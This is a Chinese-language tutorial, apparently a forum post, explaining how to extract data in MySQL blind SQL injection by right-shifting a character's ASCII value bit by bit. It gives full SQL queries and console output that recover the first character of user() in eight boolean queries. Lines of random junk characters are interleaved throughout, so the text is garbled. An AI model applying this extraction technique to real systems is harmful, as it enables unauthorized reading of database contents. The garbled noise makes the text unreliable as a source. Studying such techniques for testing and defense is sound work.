关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
1 z/ k, b2 L; O( K
5 K1 O5 Z( E" m

下面将以查询mysql数据库当中user()的第一位为例:
. j& \8 c" Z& ?1 c9 f

6 H2 R& ?* `0 L9 x
& W9 I8 `+ g' K0 B4 dps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

0 u4 {; q( [8 r. y+ t  H
! R! T) \) [. h: j* x
首先执行如下sql语句:
- C) b% L" h3 H! g: i$ p

# A. ]' m* Q5 t. b
5 Y3 r  `% L( F5 jmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
' x8 R% p+ ?# f' y


, k, I: {4 f5 C' j& W5 u我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


3 N* O7 _$ T* }, R: a& y
$ A& p4 f6 t2 U0 Q6 S& d第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 s  r" p. S; F& ^) Y+ ^
  A0 l3 ~+ s/ {  E  A/ R
; O: d/ r7 b) a. m4 }! a
如果运算结果为1,说明第一位为0,不为1
. U- K8 B1 f6 u0 J5 A
! B  W8 |0 G7 ], A; B' m" W, z
8 ]4 \7 o, w) f4 W& R
6 L7 d4 u! W, ~9 l+————————————–+

: _6 O4 q' b/ ~& l. i0 q| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

, x$ w- i3 R0 u! s4 a8 A| 1 |
5 j- {+ a6 A3 g0 \* Y! d& A
+————————————–+

1 row in set (0.00 sec)
- u6 k- @8 G8 \; x' [" a! h
6 W8 y0 k4 B+ E( f* `& C7 m1 Y/ B这样我们就确定这个8bit的ascii的第一位为0
1 o1 u, x) w, {0 C+ Y9 S
7 `0 h- Y4 C& }- q/ ^" v5 g1 p% a

) P' K2 x  N- d9 Y2 n第二次我们来做6次右偏移来确定前两位



前两位可能是01或00,即依然可以与0做比较,

; f# ~6 R. j# lmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

# F$ c4 j( l9 C/ d( z$ F3 i| (ascii((substr(user(),1,1))) >> 6)=0 |

! I  l6 {8 Y% Z  L! m/ f; b! Q6 z+————————————–+
% s3 O& x8 S2 {  L. n
| 0 |

0 v8 p+ d- g+ h1 I$ ^: E9 D/ B! K+————————————–+

1 row in set (0.00 sec)
/ y- g- t! `# D9 n* W* l; W( j9 N7 x
  `2 u1 [$ J9 ]3 m, k' {5 J, T: |
( w3 c4 \7 U7 g% ~/ w+ o
结果为0,即第二位为1

* n8 f; g+ N( P

5 |1 v( H' C: E! G开始猜测前三位为010或011
+ ]$ q! W6 n" ^" r
$ d5 P/ A) Z9 u, D# |$ Z
( t+ |$ P; s  H; b" Q# w! E: l! e3 d  z
, ?9 F: P. s1 V" v9 h' z% K让我们看看010和011的ascii码是多少
% C' W5 f  A2 }5 k) h


分别查询select b’011′ select b’010′
5 i+ R  ?0 @6 c) f/ J

5 m7 R0 B* c. r6 E
获得结果 010 = 2 011 = 3



执行如下sql:



mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

8 n' [* h$ F: {8 i! o$ W* `* h/ h+————————————–+
6 s! |/ M  ]2 ^8 v. O4 }6 H
| (ascii((substr(user(),1,1))) >> 5)=2 |
7 h/ {9 c5 i8 u1 v& E
/ j0 z% \7 y% U" ~8 R+————————————–+

" P- ^6 |$ A! H: {9 R+ @3 Z. U| 0 |
; O9 W1 Q# I! y8 ]$ B& ?
+————————————–+
) v7 @' }( c' B6 ^2 `3 s+ P5 s
即前三位不为010,而是011
* I( X' G( d& a5 u0 e& O2 s

- {& |9 d+ M7 F3 T% P; @
直到获得最后一位



% n) Z# X$ b0 j# D. v最终结果为:01110010
9 K- l% n! |( K
# v8 U# l) q9 @' G( k2 l9 |1 Y$ w
# h. H8 h! i& }. d: Z
转换一下:

4 W0 i$ }+ F% a0 |2 A9 n1 K$ q6 U

select b’01110010′
( ]& a4 `) `4 K) n$ Y1 @
. l6 R% N; C3 n

查询结果

. U' T5 b8 a! Z& {8 t

+————-+

! y* f. l) C& s6 S+ V| b’01110010′ |

+————-+
' ?' {' T5 n: H$ j# d/ ]/ c
) y3 `5 `" T% ]9 ]* l| r |
: W$ U# U3 D* r( K
: K# z/ E. t7 Q4 e+————-+
7 t4 F/ R- P- O& \; L; s" v
; G" m) l' ]: W" N* a% ]1 row in set (0.00 sec)
! g4 Y" P' r1 ^# i
# G! V/ R  h! b" v2 o

这样我们就获得了user()的第一位.其它位依此类推
# z& Q3 k0 v1 h7 w
! f7 X' P  G7 D, R